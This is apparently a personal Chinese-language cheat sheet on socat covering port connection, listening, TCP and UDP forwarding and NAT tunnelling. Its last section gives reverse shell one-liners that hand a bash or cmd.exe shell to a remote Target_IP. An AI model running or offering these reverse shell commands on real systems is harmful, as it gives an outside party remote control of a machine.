###### tags: `network technology`
# socat 常用用法
### 連接遠端 port
```bash=
socat - TCP:192.168.1.200:4444
# 跟 nc 192.168.1.200 4444 同理
```
### 監聽 port
```bash=
socat TCP-LISTEN:4444 -
# 跟 nc -lp 4444 同理
```
### port 轉發 (TCP)
```bash=
socat -d -d -lf /tmp/socat.log TCP4-LISTEN:4444,bind=127.0.0.1,reuseaddr,fork TCP4:192.168.1.1:80
# 兩次 -d 代表調整訊息的輸出等級
# -lf /tmp/socat.log 指定輸出訊息的文件保存位址
# TCP4-LISTEN:4444 在本機建立一個 TCP IPv4 協議的監聽 port 用於轉發
# bind 指定監聽綁定的 IP 位址,不綁定即監聽伺服器上所有可用 IP
# reuseaddr 綁定一個本機 port
# fork TCP4:192.168.1.1:80 代表會被轉發連線的目標為 192.168.1.1:80
```
### port 轉發 (UDP)
```bash=
socat -d -d -lf /tmp/socat.log UDP4-LISTEN:4444,bind=127.0.0.1,reuseaddr,fork UDP4:120.117.130.202:80
# 差不多,只是 TCP 改 UDP
```
### NAT 映照
外網機器上
```bash=
socat tcp-listen:4444 tcp-listen:5000
```
內網機器上
```bash=
socat tcp:outerhost:4444 tcp:192.168.1.1:5000
```
這樣外網機器的 5000 即可投射在內網機器的 192.168.1.1:5000
### reverse shell
```bash=
socat TCP:Target_IP:8000 exec:"/bin/bash -li"
socat -d -d TCP:Target_IP:8000 exec:"/bin/bash -li"
# windows
socat TCP:Target_IP:8000 EXEC:'cmd.exe',pipes
```
[other](https://erev0s.com/blog/encrypted-bind-and-reverse-shells-socat/)